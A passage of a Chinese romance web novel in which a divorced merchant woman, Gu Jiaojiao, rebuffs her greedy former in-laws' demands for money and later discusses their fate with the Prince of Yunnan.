平王妃却不领情:“也是多亏了你那半路来的好女儿,若非是她,王府也不必一而再再而三的颜面落地。” 提及徐青青,平王脸上再是挂不住,心底也多了分悔意:“既然安阳侯府指名道姓要娶得是徐青青,王府便随了他的愿好。” “怎么?王爷预备给你的好女儿准备什么礼制的嫁妆?”平王妃冷笑一声,殷红的指甲就要扎进肉里。 本以为徐青青受了提点便能安分守己,却不想寻来一个不要颜面的男人与王府呛声。 真如她生母一般狐媚成性。 平王勾起唇角,眼底狡黠:“本王自始至终从未承认过徐青青便是王府血脉。若是从王府离开便是郡主,那便随他们去吧。” 这话的意思,便是要随便给徐青青按个身份。 她哪怕是府里的布衣丫鬟,因着伺候有功,出嫁之时赏个郡主名号,已是万般荣耀。 平王妃这才露出笑意,平静地端坐在主位上。 孙老夫人踏进富丽堂皇的正厅,眼神越发贪婪,只得努力压制着心底的兴奋。 “王爷,您既然已经收下聘礼,这桩婚事便就是定下了。”老夫人迫不及待,“您看何时着人定个好日子,也好让两个孩子完婚。” 平王此刻面容平和,倒真有几分商讨爱女婚期的慈父模样。 “老夫人以为如何呢?”他的嘴角含着一抹意味不明的笑意,“此事本王尚无经验,老夫人怕是熟悉非常?” 孙老夫人心底咯噔一下,误以为他在介意顾皎皎之事,连忙出口解释,撇清关系。 “王爷,协兆从前是娶过一个身份卑贱的商贾之女。但两人从未有逾越之举,两年来那女子都是独守空房,不过是空有一个名号。” “青青……”她顿了顿,连忙改口,“郡主自然是不同的,且不论身份尊贵,与协兆更是心意相通,自当是唯一的安阳侯府三夫人。” 看她急头白脸地解释,平王眼底几分戏谑,却是笑笑:“老夫人误会了。不本王只是觉得侯府两位公子都已娶妻,婚期一事自然还是老夫人定下为妙。” 平王妃在一旁听着,不时端起一杯茶水,遮挡嘴角笑意。 孙协兆则是在老夫人身侧静观其变。他心有疑惑,却又不知如何诉说。 王府的态度转变太快,实在是说不出的诡异。 孙老夫人松了口气,喜悦之意将一切不对劲之处尽数遮盖,丝毫不曾察觉。 她细细思索,谨慎开口:“下月十五如何?十五向来都是好日子。” 眼下只余下一月期限,若是想置办的风光已然是紧凑无比。 但孙老夫人已经是顾不得这些了,只想着早些成婚免得夜长梦多。 越是拖沓,越是多生事端。 平王佯装为难:“算着日子已不足一月了,这般匆忙,可会叫青青委屈?” “是啊,到底是从王府出去的女子,若是太过寒酸怕是面上无光。”平王妃也在一旁附和,好看的眉头拧在一处。 孙老夫人吞咽一口,眼珠一转,口若悬河:“安阳侯府如何敢委屈了青青?算着日子确实余下不多,但协兆早有迎娶青青之心,许多东西早早就备下了,算不得仓促。” 这说辞虽然漏洞百出,却是轻易说服了平王与王妃。 “既然侯府如此有诚意,本王又怎会有反对之意?”平王一口应下,“那此事便就如此?” 似是怕老夫人纠缠,王妃又开口:“日子已经定下了,王府自然也要加紧准备。怕是不能招待两位。” 两人忽然如此客气叫孙协兆胆战心惊,却又心存侥幸。 娶了徐青青,安阳侯府便就有了平王府这个不可撼动的靠山,日后的路怕是会轻松许多,他的仕途自然也一片光明。 “也好也好。”孙老夫人当即答应,生怕又生悔意,“我也要继续回府置办,将青青风风光光地接进门。” 正厅一片祥和,哄得孙老夫人走时也欢欢喜喜,憧憬着不多时的好日子。 “待青青进了门,我就将管家权交到她的手中。”坐上马车,孙老夫人便开始盘算,“想来王爷不会小气,她的嫁妆应当能支撑侯府许久。” 孙协兆却闷闷不乐,说话也是心不在焉。 “你在想着什么?”孙老夫人不悦,“大戏的日子为何这般哭丧着脸?” 孙协兆摇头,仍是觉得不安:“母亲今日这般撒泼耍赖,怕是会惹王爷与王妃不悦。” 皇上迟迟未定下太子人选,便是斟酌着难以抉择。 这般时候名声最为要紧,如此平王才会忍着不曾发怒。 “如何不悦?定下婚期时何其顺畅?”孙老夫人仍是沾沾自喜,“你是他亲口认下的,不会抵赖。” 孙协兆没再说话,只看着平王当真心甘情愿这般将错就错。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百六十三章 她怕是要悔得肠子都青了 安阳侯府。 孙老夫人再回来时已换作一副趾高气扬的模样,举手投足间尽是傲慢与得意。 章氏与刘氏早早的等在正厅,两人双目低垂,饿得面黄肌瘦。此刻正不顾身份的摊坐在交椅上。 “咳。”孙老夫人睨视一眼,宋嬷嬷忙出声提醒。 两人顿时一激灵,慢半拍地福身行礼。 “你们还有半点侯府夫人的样子吗?”孙老夫人一坐下便是训斥,却又隐隐有炫耀之意,“要是传了出去,岂非是丢了安阳侯府同平王府的面子?” “是,谨遵母亲教诲。” 两人先是有气无力地应着,而后章氏反应过来,面露喜色。 “母亲,您的意思是,协兆与青青的婚事已然定下了?” 刘氏也打起精神,满眼期待,静候佳音。 孙老夫人忍俊不禁,得意之色实难以掩盖,只端片刻,便一股脑全盘托出:“那是自然。协兆可是平王亲口认下的女婿,今日婚期也定下的十分顺畅,就在下月十五。” 老夫人自鸣得意,抬头摸了摸苍白的发髻,又道:“如今安阳侯府可是平王府的亲家,再不是落魄式微的孙府了。” 刘氏见状,忙上前讨好:“安阳侯府的荣辱可得仰仗着母亲呢。” 章氏亦喜不自胜:“平王是何人,那可是有望成为太子的人选啊!一朝选作太子,便就是来日的皇帝,安阳侯府可就是皇亲国戚了!” 三人相视而笑,皆是小人得志的模样。 “真是大快人心!”刘氏也端起神气模样,“安阳侯府就快改头换面,顾皎皎那个贱人就守着她那些破银子过活吧!” 虽已过去不少时日,但她依然对顾皎皎让她丢了面子之事耿耿于怀。 孙老夫人眉头一拧:“倒是忘记了那个丫头。” 她向外啐一口,冷哼一声:“她那个不长眼的,目光短浅,怕是也想不到安阳侯府会如此辉煌吧?” 刘氏掩唇轻笑,眼底浸满轻蔑:“待大婚之日,她怕是要悔得肠子都青了。” 这话顷刻点醒了孙老夫人,亦是勾起她心底的屈辱。 “呵,”她从牙缝里挤出一声冷笑,“当日好言好语让他交出银子如何都不肯,往后就算成箱的银子搬进侯府……” 她正咬牙切齿,忽地戛然而止,生生将话语吞了回去。 不论如何自然不能和银子过不去。 这一顿孙老夫人计上心头,却面上不显,瞥看堂上两人:“你们手头上可有闲银?” 刘氏章氏顿时大惊失色,忙摇头否认:“府上克扣这些日子,如何还有银子,身上那些体己都已花尽了。” 说着,甚至故作凄惨抹了抹眼角不存在的眼泪。 孙老夫人轻嗤一声,露出一抹阴冷的笑意:“她从前不是对侯府百般折辱,今日就要一并讨回来!” 在她看来,顾皎皎不知好歹先前,算起账来不过是以牙还牙。 况且如今她可是平王的亲家,身份何等尊贵,岂是她一个低贱商贾可以染指。 刘氏眼眸一亮,多了几分蠢蠢欲动:“母亲的意思要去找顾皎皎一雪前耻?” 孙老夫人眼中狠厉,拍案而起:“那贱人仗着自己赚了些银子便目无尊长,自然要教她规矩。若是能将吞下的银子吐出来,便算她识趣。” 那十几万银子一直在她心底久久不去,实难下咽。 安阳侯府本就拮据,为了徐青青的聘礼又狠狠脱了一层皮。若再不想法子变成银子了,这婚事都难以筹备。 她虽记恨顾皎皎,但更多还是奢望从她口袋中拨出银子,以解侯府燃眉之急。 章氏看着两人兴致高涨,不由得紧张起来,轻声提醒:“母亲,现在这顾皎皎可是和小云南王有着不浅的关系。若是这样贸然前往,惹了小云南王岂非得不偿失?” 孙老夫人不以为然,反倒白她一眼,满口鄙夷:“瞧你那点出息,小云南王又如何?难不成平王比他低劣?” “平王身份尊贵,又是皇上的胞兄,血缘亲情之下,他又能如何?” 自从攀上平王府这个高枝,她便是铁了心觉得平王才是继承大统之人,侯府也必定节节攀升。 章氏仍是忌惮,却再未开口自讨没趣。 见她为此畏畏缩缩的模样,孙老夫人只觉得心烦,语气越发尖锐:“咱们现在和平王府千丝万缕,就算小云南王在她跟前,也不能做什么。” “他若动手,便是德行有亏,自行退了太子的行列。” 刘氏也不住附和:“大嫂若是害怕,便留在府中。不过,顾皎皎孝敬的银子你可不要染指。” 一听银子,章氏当即露出谄媚嘴脸,三步并两步走到老夫人面前表忠心:“我怎么会心生惧意呢?只是想着再妥当些,不会叫那贱人再钻了空子。” 孙老夫人懒得理会两人的针锋相对,抽出被攥住的衣袖,拍去不存在的尘土,径直往外走。 章氏收起笑意,瞪了刘氏一眼才小跑着跟上去。 顾府。 近来手上铺子的生意越发平稳,顾皎皎多了许多闲散时光,寻这好时候便坐在庭院中品茶吹风。 莺儿端着一叠果腹穿过连廊,笑嘻嘻地跑了过来:“姑娘,好消息。” 顾皎皎气定神闲,抬眸看她:“多好的消息,叫你如此慌张。” “这一会功夫已经府邸有收下了不少拜帖,有与姑娘谈生意的,也有邀请姑娘应邀宴饮,还有要向姑娘拜师学艺的呢!”莺儿放在果腹,很是激动,“都已经放置在书房了,姑娘晚些时候再瞧瞧。” 她掰着手指将各式各样的帖子说予顾皎皎听,嘴角是压制不住的笑意。 如今日子越来越好,她打从心底里替姑娘开心。 姑娘性情纯良,配世上所有好东西都不为过。 顾皎皎只是笑笑,并未放在心上:“也不知这其中有几个真心冲着我来的,怕是都看中了背后的小王爷了。” 总是这些无趣的物件,她并无兴致。倒不如在府内欣赏字画,核算账簿来得自在。 莺儿却意见不同:“姑娘真才实学,才不必仰仗小云南王。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百六十四章 见见倒也无妨 顾皎皎只笑笑,看着莺儿较真的小脸,心生一片暖意。 “姑娘!” 一声喊叫打断了两人交谈,只见一小厮慌慌张张地小跑过来,指着门外支支吾吾。 顾皎皎示意莺儿送去一杯茶水:“不必着急,有何事慢慢说来便是。” 小厮满面无奈,端着茶盏深叹一口浊气:“姑娘,那安阳侯府的老夫人又来了!” “今日倒是嚣张不少,带着几个小厮直接闯了进来,此人正大摇大摆地在正厅呢!” 顾皎皎微怔,实在是有些摸不着头脑。 不过人既然来了,见见倒也无妨。 莺儿按捺不住,出声埋怨:“他们当顾府是玩乐戏院吗?这般来去自如。” 顾皎皎挑眉,轻笑出声:“还记得在平王府外瞧见了什么吗?不收戏票的笑话,你难道还不乐意?” 莺儿恍然大悟,心中烦闷消了大半:“姑娘说得是!奴婢且去给老夫人安排一盏好茶,姑娘稍后再来便是。” 圆圆的眸子中写满狡黠,顾皎皎宠溺摇头,只由着她去。 正厅之上,孙老夫人左顾右盼,看着堂上陈设价值不菲,眼红得紧。 “瞧这金樽琉璃盏,便是从我院子里抢夺来的,竟敢这般堂而皇之的摆在这样显眼的地方!” 孙老夫人咬牙切齿,愤懑不已。 刘氏也哀声连连,摸着手边的楠木方桌:“这便是从我院子里生生搬走的,害得我如今都不曾用上称手的小桌。” 莺儿在暗中观察片刻,看着三人反客为主禁不住白了一眼。 “咳咳!”她轻咳一声,款步走进三人视线,“三位真是稀客,姑娘正在后院休憩,烦请几位稍后片刻。” 莺儿嘴角端着客气的弧度,一抬手身后的布衣丫鬟便上前斟茶。 “这是江南运送过来的雨前龙井,有清神之效。看着诸位眼角面中均有疲惫之色,这茶最是合适。” 孙老夫人端起茶盏的动作一顿,气得加重指尖力道。 真是个牙尖嘴利的丫头,竟敢开口讽刺她老态!从前在府中倒不曾见她如此目无尊长。 “一个低贱丫鬟在这叽叽喳喳做什么?让顾皎皎出来见我。”她将莺儿打量一番,满眼不屑。 莺儿笑意不减,一一呛声回去:“方才已经说了,姑娘正在小憩,烦请几位稍后片刻!” 她刻意加重语调,态度强硬十分。 孙老夫人怒火中烧,拍案而起,抬手将手中杯盏砸了过去:“你这丫头好不懂规矩,你可知晓我如今的身份,竟敢顶嘴!” 青花瓷的杯盏就这样碎裂在莺儿脚边,沾湿了裙角和鞋面。 她垂眸一眼,冷了脸色,正要开口时,肩头忽地一沉。 顾皎皎将莺儿拉到身后,瞧了一眼破碎的杯盏,无奈叹气:“孙老夫人怎地还是如此爱动怒?这杯盏可是我废了好些功夫从昌南带回来的。” 见她面上心疼,孙老夫人反倒得意忘形,只当这是个下马威。 “这便是你惹恼安阳侯府的代价。”她勾起唇角,“我如今可是……” “茶盏毁了,这套杯具不再完善,日后再是上不得桌了。”顾皎皎置若罔顾,提高音量自顾自道,“折了运送银两,再折去用度损耗,老夫人便只赔我五十两吧。” 孙老夫人瞪大眸子:“你竟然敢让我赔?” 顾皎皎不明所以,不掩疑惑:“东西是老夫人你打破的,不叫你赔,还能叫谁?” 说着她有意无意扫了张氏刘氏一眼,两人见状忙低头垂眸,不敢与之对视。 孙老夫人瞥见这窝囊模样,更是怒火中烧。 她转头盯着顾皎皎,咬牙切齿:“你怕是还不知道吧,协兆就要与青青郡主成亲了。自从安阳侯府便不是你这样低贱之人可攀附的了。今日你若识趣,我便不为难你。” 顾皎皎茅塞顿开,笑意盈盈:“如此,便是祝贺两位有情人终成眷属,那这五十两银子我该与谁讨要?” 见她不买账,孙老夫人越发气急败坏:“你可听清了?” “青青郡主乃是平王的女儿,日后安阳侯府便是皇亲国戚了,任凭你使出再多的嫁妆也不会多瞧你一眼。” “你过往从安阳侯府夺走了不少物件,今日尽数还来,日后我也不会叫你难看。” 虽是这样说着,她却暗中打量着顾皎皎的反应。 依照她心中所想,面前女子应当哭天喊地求他们垂怜。 “原来是狗仗人势。”顾皎皎轻言细语,言辞却刺耳非常,“只是不知,你们所说的王府郡主又是哪位呢?” 她自然知晓话中所指乃是孙协兆当日养在别院的外室徐青青,也知晓她与平王的种种渊源。 但到底不曾被亲口承认过,自然是算不得数。 只是顾府显然将此女当做了救命稻草,还妄想着依靠她的嫁妆混吃混喝。 “你……”孙老夫人先是一恼,而后换作一副自得模样,“你又何必逞一时口舌之快?协兆为了平王郡主将你丢弃,也算是抬举你了。” 顾皎皎笑而不语,只等着她接下来的逆天违理。 孙老夫人以为将人唬住,愈发口无遮拦:“眼下有个现成的机会,可将往事恩怨一并勾销。” “你若肯包揽下协兆与青青的喜宴,也能算功一件,日后青青若是问罪,也好与你有个说辞。你也能名正言顺的再进侯府,远远地瞧协兆一眼。” 顾皎皎再是笑不出来,禁不住打个冷颤,不由得开始反思。 她究竟是做了什么,才叫这一家子如此坚信她对孙协兆那厮情根深种。 顾皎皎颇为无奈,在孙老夫人的注视下拿出别在腰的小算盘:“原来老夫人是为了定席而来,一早说明来意便是,何必如此大费周章?” “不知老夫人是何预算?预备置办几桌席面?” 不等三人开口,她又自顾自地说道:“既然是与郡主的婚事,自然是不得马虎。自当依照一桌一百两来置办,大摆五十桌,才不算失了体面。” 算珠波动的清脆声在耳畔萦绕挥之不去,孙老夫人的脸色越发铁青,直至黑成锅底。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百六十五章 不可理喻 孙老夫人气得发抖,瞪了一眼躲在一旁置身事外的两人。 刘氏被眼神震慑,这才出声:“你这是在算银子?” 这话没头没尾,叫人费解。 顾皎皎手上动作不停,诚恳点头:“既然侯府是为了置办席面而来,自然是要好好算算钱银。” “我与诸位也算是旧相识,此番也能给个不错的折红,不知老夫人意下如何?” “我好心给你将功补过的机会,你既然如此恩将仇报?”孙老夫人从牙缝中挤出一段话语,一张老脸涨得通红。 顾皎皎佯装不解,开口询问:“老夫人这话倒是叫人听不明白,烦请说得再清晰一些。” 孙老夫人冷哼一声:“协兆与青青礼数一成,安阳侯府便是与平王府为一体。” “你往日叫侯府丢得面子,也会算到平王府的头上。我心中慈悲,不愿与你计较什么,王府却说不清了。” 顾皎皎恍然大悟,却不以为然:“若是平王府有这通天的本事,尽管使出来便好。” 孙老夫人恼羞成怒,提起桌上杯盏就要砸过去。 顾皎皎面不改色,只抬手又在算盘拨弄一下。 五十两。 孙老夫人无奈,只得忍气吞声将茶盏攥在手心:“你不过是仰仗着身后的小云南王罢了。小王爷不过就是看你新鲜,才青睐你几日,再过些时日你看你还能如此得意。” 顾皎皎顺手将算珠拨回原处,语调笃定:“你且知晓我如今与小云南王关系匪浅便好。” “但我可从未听过平王府有何郡主,似乎连王府也不曾承认你口中的青青郡主吧?” 孙老夫人一时哑口无言,一旁的刘氏却按捺不住。 “你懂什么?青青与平王乃是血缘亲情,不是郡主又是什么?” “你怕不是心生嫉妒,才说此酸话。” 章氏也出声帮衬,语气却缓和许多:“皎皎,好在往日也有同在一个屋檐下的情分,我们不愿咄咄逼人,你为何要为此冥顽不灵呢?” 顾皎皎不愿理会,沉声质问:“你们这席面可还定?” 孙老夫人气急败坏,一抬手便将杯盏扔了出去:“顾皎皎,你不要给脸不要脸!” 堂内再度响起清脆的碎裂声,细小的陶瓷碎片四溅,叫堂下一片狼藉。 顾皎皎轻吐一口浊气:“罢了,那五十两银子一笔勾销。” “至于这桩婚事,你们且去打听打听,除了坊间流言蜚语,何人还认你这青青郡主。若不要盼着改头换面,最后却是深陷泥潭。” 她垂眸看着地面碎片,只庆幸端来的是一套赝品,不若当真要心疼一阵子了。 “莺儿,送客!” 顾皎皎利索起身,拍去衣袂上不存在的灰尘,头也不回地转身离去。 见她要走,孙老夫人忙起身追赶,却被几个小厮挡住了去路。 莺儿亦是没了好脸色:“诸位请回,如今我家姑娘掌管着京城大半铺子,实在不得空再与你们话家常。” “大半京城?”孙老夫人难以置信。 早知顾皎皎有些本事,靠着顾家那些家底赚了不少银子,却不想竟已到了如此地步。 光是那几间铺子便能叫安阳侯府荒淫无度的过了两年,大半京城的铺子实难想象。 “且慢!”孙老夫人声音尖细,高喊一声,“不许走!” 顾皎皎耐心将尽,却仍是转身瞧她。 孙老夫人言语急切:“你如此无动于衷,不过就是觉得自己未能从中获利,我给你好处便是!” 顾皎皎来了兴致,沉静的眸子看着她的心急如焚。 而今的安阳侯府可谓是一无所有,先辈积攒的名望也将消耗殆尽,她倒是好奇还能拿出什么筹码来与自己交易。 孙老夫人理了理杂乱的衣衫,没好气地拨开拦路的侍卫,大摇大摆地走到顾皎皎面前。 “瞧你一人孤苦无依,待协兆与青青完婚,我便允你做协兆的外室,还住在你这顾府便可。” “安阳侯府的管家之权仍能交到你的手上,不过再不能谈什么你我之分。” 顾皎皎扯起嘴角,实在是无言以对。 左不过还是惦记她的银子,当真是狗改不了吃屎。 “不必了。”她冷声拒绝,毫不犹豫,“我如今一人自由自在,不必你特意来此垂怜。” “至于孙协兆,本就没有情分的一个人,在我眼中只如蝼蚁一般。既然有人欢喜,就不必在我眼前丢人现眼。” “再者你的管家之权,你且好生收着吧。” 顾皎皎白她一眼,转身离开。 孙老夫人却是不依不饶,又使出撒泼打滚的招数。 “分明是你欠了安阳侯府的,怎地能如此理直气壮?”她苦恼着,不住撇看堂内陈设,“这府里物件可都是侯府的,你该还来!” 顾皎皎冷眼旁观,不为所动。 孙老夫人尴尬一瞬,又换了说辞:“你难道不怕得罪了平王府?平王日后可是要做太子的,难道不怕日后掉脑袋吗?” 一听这话,顾皎皎顿时紧张起来,当即左顾右盼,俯身与老夫人低语:“老夫人,你莫不是老糊涂了,妄议朝政,该掉脑袋的是你才对。” “你!”孙老夫人心中不服,却又不敢继续造次,只得压低声音,“不论如何,你只需记着平王府你获罪不起便是。” “言之有理。”顾皎皎难得认同,眼神中却是藏不住的鄙夷,“只是不知平王府究竟能给这所谓的郡主多大的权利呢?” “你可要拖你魅力无边的儿子去探探青青郡主的口风?”她话语一顿,“亦或是你再去平王府外撒泼打滚,兴许还能求来什么。” 孙老夫人登时愣住,心中明白顾皎皎瞧见了今日自己的窘态,面上再是挂不住。 刘氏不知真相,反倒上前理论:“顾皎皎,你难道不知母亲身子不爽,你这般言语无状,也不怕顶撞?” 顾皎皎漫不经心,随手扯下腰间钱袋丢在地上:“瞧老夫人面色苍白,想来是身子不爽。” “这钱袋有五十两碎银,拿着去找个大夫瞧瞧。” “你真是不可理喻!”刘氏口中叫嚣,却俯身捡起钱银塞进自己怀中。 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百六十六章 颜面扫地 “顾皎皎,你且记着今日的无力行径。”孙老夫人依旧歇斯底里,在刘氏的搀扶下颤颤巍巍起身,“待来日东窗事发,可莫要怪安阳侯府不留情面。” 她的夜郎自大,只叫顾皎皎勾起唇角,再无其他。 “你既然谈及情面,我便再告诫你一句。”她眼眸一凝,冷若冰霜,“若是当真动了依靠平王府翻身的心思,可得仔细着到底娶了什么身份的。” 孙老夫人却不以为然,反倒讥讽一声:“又在说这些酸话,你不必就是嫉妒青青身份尊贵,有个王爷父亲。” “而你,这辈子就只能守着你那几个铺子过活,再是翻不了身!” 既是冥顽不灵,便是多说无益。 顾皎皎轻叹一声,暗自惋惜多费口舌。 “话不投机半句多,老夫人早些离开吧。”她侧过身,只留班长清冷面容,“免得在这商贾起家的顾府待得久了,玷污了你尊贵的身份。” 孙老夫人得意洋洋,登时端起架子:“你能明白便最好。安阳侯府并非无情之人,你若想通了,将从前的物件如数奉还,再配上多些的嫁妆,那外室一事我依旧能睁一只眼闭一只眼。” 她到底是不死心,一想到顾皎皎的万贯家财便心痒难耐。 从前只是几间铺子便能叫安阳侯府过得那般滋润,如今大半铺子那还了得? 自两人和离,她便没吃过好东西,实在是招架不住。 顾皎皎禁不住白她一眼,不再理会。 孙老夫人却是愈挫愈勇:“你若不满意外室身份,也可破例指你一个妾室身份。” “不过你须得安分守己,不得声张。不如如何,明面上你还是安阳侯府的弃妇,传出去又回了侯府,会折辱了名声。” 听这一番自以为是的说辞,顾皎皎再是忍无可忍,一计凌厉眼神递给莺儿:“赶出去,不必顾及年迈多病,多少银子顾府都赔得起。” 莺儿俯身领命,卷起衣袖蠢蠢欲动。 三人这才慌神,看着不断逼近的家丁节节败退,声音颤抖:“你想做什么?惹了安阳侯府可就是惹了平王府!” 大难临头,依旧嘴上功夫了得,如何都不肯服软。 莺儿无意与三个无赖纠缠,朝家丁使了个颜色便推到一旁候着。 “还请孙老夫人离开。” 为首的家丁掏出木棍,最后一番好言相劝。 孙老夫人自是不服,但瞧见一人手臂粗的棍子再是说不出话。 就这般,三人被吓得连滚带爬出了顾府,毫无颜面可言。 来往行人瞧见这落魄模样,不由得驻足观望。 “那不是孙府的老夫人吗?怎地又来顾府了?”一人低声询问。 “怕是又来伸手要银子,真是阴魂不散。”又是一道讥讽的声音。 “今日还听闻她在平王府门外吵闹,这安阳侯府如今怎成了这副模样。” 一声声议论听得孙老夫人面色涨红,颜面扫地。 只得以广袖遮挡苍老的面庞,灰溜溜地钻进马车,一刻都不敢久留。 “这顾皎皎如今真是长本事了。”孙老夫人仍不肯服气,沉声咒骂。 刘氏章氏不敢言语,就在一旁听着。 她确实不似往日软弱,再是拿捏不住。这一来一回已将侯府的颜面丢尽。 孙老夫人有气,斜眼看向刘氏:“装什么哑巴,快将那五十两碎银交出来。” 刘氏登时一激灵,捂着腰间钱袋干笑,妄图糊弄:“母亲,许是方才混沌,钱袋已不知所踪了。” 孙老夫人自是不信,一双眸子虽是浑浊,但尚且敏锐。 她直接动手抢夺,口中谩骂不停:“本就是该孝敬我的,你倒想独吞!” 三人便就如此吵吵嚷嚷的回了安阳侯府, 驿站。 孙老夫人大闹顾府的事情很快传到了沈云祉的耳中。 彼时他正提笔写字,陶冶情操。 “真是不安分。” 沈云祉动作未停,神色神色认真,低语一句,“她是如何做的。” 双剑又将顾皎皎差人举棍威胁之事全盘托出。 “真是有趣。”沈云祉勾起嘴角,轻笑出声,“她如今这性子倒是愈发利索了,不过还是不够狠心。” 依照他的性子,安阳侯府不会有半点进门的可能。 故而,顾皎皎还是心善,仍由他们一而再再而三的胡闹叨扰。 “双瑞,”沈云祉双手抱臂欣赏桌案上的字迹,“去将顾姑娘请过来,就说本王对账目略有疑问。” 顾皎皎赶来时沈云祉独坐书房,对着一盘棋局若有所思。 “参见小王爷。” 她叫莺儿在外等候,孤身进门上前福身行礼。 沈云祉“嗯”了一声,招手让她在对面坐下。 “顾姑娘可懂棋局?” 他眼眸未抬,落下一子却又收回,面上几分烦躁。 顾皎皎垂眸观察,见棋局确实精妙无比,其中巧思别有风味。 “略懂一二。”她朱唇亲启,“儿时跟着父亲学过几点皮毛。” 沈云祉饶有兴趣的看着她面色如水,面上几分探究:“顾姑娘莫非是在自谦?不知姑娘一二可否可与旁人七八比拟。” 顾皎皎轻笑,笃定的眸子对上猜忌的眼眸,正色道:“小王爷多虑了,不过只是棋艺,有何隐瞒?” “素问小王爷棋艺非凡,又岂敢在您面前班门弄斧呢?” 沈云祉挑眉,没再追问:“这是本王前些日子花了一百两得来的棋局,因着种种耽搁,至今还未参透。” “本想着听听顾姑娘的见解,怕是希望落空了。” 顾皎皎不掩疑虑,干笑一声:“双瑞来府上时,说是小王爷对账簿有疑。” 沈云祉对她不解的眼眸,笑道:“你的账簿本王有何不放心的,不过是见你的说辞罢了。” 忽然听着如此直白的话语,顾皎皎不知所措起来。 但是这不明所以的话倒无其他,只是瞧着沈云祉这张绝美面庞实难抑制心中悸动。 “说来确实还有一事。”沈云祉出声打断她杂乱的思绪,“顾府今日来了几位客人?” 顾皎皎干笑两声,兴致缺缺:“真是何事都逃不过小王爷的眼睛。” 喜欢臣妻皎皎请大家收藏:()臣妻皎皎更新速度全网最快。 第一百六十七章 自此消失 “也难怪她如今日这般嚣张,说是已与平王府定下亲事,不日便要迎娶郡主。” 顾皎皎意有所指,小心观察着沈云祉的反应。 她从未听闻过徐青青被认回王府,着人打探亦是仍住在别院无人理会。 但孙老夫人那般笃定,又忍不住生出几分好奇。 “郡主。”沈云祉轻蔑一笑,“平王若是一日决议不要他那张老脸,兴许还有几分机会。” 顾皎皎忍住笑意:“倒是难得安阳侯府这般敲锣打鼓,得意着迎了位财神。” 沈云祉抬眸看她,嘴角含着点点弧度:“怎么,你还真担心孙府倚仗权势,对你施压不成?” “我不过做这小本生意,行事皆符合律法,他们又能对我作甚?”顾皎皎笑笑,眼底几分狡黠,“况且,小王爷不会袖手旁观吧?” 沈云祉失笑,她倒是难得说些调笑之语,听在耳中别有一番滋味。 “本王还听闻,这所谓喜结连理不过是孙老夫人死皮赖脸要来的。”他低声说着,眼眸蒙上一层阴婺,“这位置实在凶险,竟叫平王这样肆意妄为之人忍气吞声。” 这弦外之音,便是点明平王是顾及颜面,不愿闲言碎语再传入皇上耳中的缓兵之计。 既然平王心底不认,即便婚事将成,怕也是要大打折扣。 “这倒不曾听说。”顾皎皎移开眸子,佯装不懂,“没成想小王爷也喜听这些民间轶事。” 她到底是个普通百姓,虽与王爷有着银钱关联,其他的断是不敢议论半分。 沈云祉勾起薄唇,顺着她的话语而下:“本王不仅喜爱听这家长里短,还十分乐意插手阻拦。” 听得出他话语中的有意帮衬,但不知怎地脊背忽然涌起一股凉意。 “小王爷这话为何意?”顾皎皎吞咽一口。 指尖棋子终于落在棋盘一格,碰撞间发出清脆声响,犹如刀剑交汇。 “安阳侯府一再扰乱京城安宁,又不知悔改犹如恶霸盘踞。”沈云祉当真思索起来,眼中的光亮好似锁魂的鬼魅,“这般恶劣之辈,就算是自此消失在京城之中,怕也是无人问津吧?” 顾皎皎难掩惊讶,很是意外小云南王竟如此赶尽杀绝。倒不是惋惜孙府几条人命,只是这话从沈云祉口中说出有种别样的感觉。 看出她眼中异色,他又换个说辞:“你整日被孙府叨扰,如此便斩草除根了。” 顾皎皎却另有见解,摇头否决:“若是如此,岂非错过了不少好戏?” 她面容清冷,神色认真,嘴角却是勾起一抹邪魅笑意。 沈云祉来了兴致,放下棋子靠在塌上,待她继续言说。 “而今的安阳侯府刚且登上自以为的极乐高堂,正是沾沾自喜毫无防备之时。” “若是此刻叫他梦醒,反倒是给了个痛快。” “既然一切注定大梦一场,不如就待他们自食恶果,亲眼看着美梦碎裂,一切清空。” 顾皎皎表情玩味,一字一句攒着对安阳侯府的怨念。 她从不因自身遭遇去怨怼他人,但孙府几分侮辱,嘲讽顾府,她亦做不到忍气吞声。 沈云祉爽朗大笑,甚至抬手鼓掌,不吝称赞:“顾姑娘当真是好手段。” “如此,他们倒是也怨不得他人了,可谓一石两鸟啊。” 顾皎皎颔首,言辞谦虚:“不过是跟在小王爷身后耳濡目染学到几分罢了。论手段,自然还是比不过您。” 第一楼一场坍塌大戏她久久难忘,那诡秘阴森的戏曲更是叫人心中生畏。 那夜过后,她隐隐觉得是与泽熙镇的贪污案宗有关,却又不敢与人提起,只能隐于心间。 沈云祉并未否定,反倒言露喜色:“近墨者黑,近朱者赤。不知顾姑娘所指,会是哪一种呢?” 顾皎皎一时语塞,愣在原处。本就是随口客套几句,不想竟引火上身了。 思绪在脑中环璇,而后只化作一句:“小王爷以为如何便是如何,我这般无名小卒,不敢定义小王爷的赤与墨。” “有趣。”沈云祉轻念一句,眼眸深邃许多,“你倒是激灵。” 顾皎皎咧嘴一笑,颇为俏皮。 “婚期何时,你可知晓?”沈云祉忽然问道。 “这倒不曾听说。孙老夫人虽提及席面,但袋中并无银两,我便没有细问。” 孙老夫人如此乐此不疲,不过因着一句从奢入俭难。总料想着她还如从前那般言听计从,得以继续挥霍她的银子。 “无碍,此事好办。”沈云祉言语笃定,顷刻的功夫好似做了了不得的决定。 顾皎皎疑惑:“嗯?” 沈云祉却神秘一笑,故作隐秘,道:“平王府许久未办红事了,本王总惹得平王不悦,总要做些什么才是。” 顾皎皎不语,只浅笑侯着。 两人关系如何并非秘密,这话中深意便不得而知。 桌上棋局未动,但方才一子好似有破局之势。 顾皎皎看得失神,忽地想起那件不菲的衣衫。 “小王爷,我想起一件旧事。”她轻声开口,生怕扰了男子思绪,“还记得早些时候您曾去往霓裳阁要了几件衣裳样式,却未留伙计为您度量身量,不知而今可还需要?” 沈云祉抬眸,却是面无表情:“怎地,这是你感激本王的方式吗?” 顾皎皎:“小王爷多虑了。只是见您那日有兴致,却又迟迟未有定夺,这才询问一番。” 她本是想着若小云南王有意图同去,便能将那衣衫一并归还。 “你若是想让本王与你同去,大可直言。”沈云祉眼神暧昧,向前倾身几分。 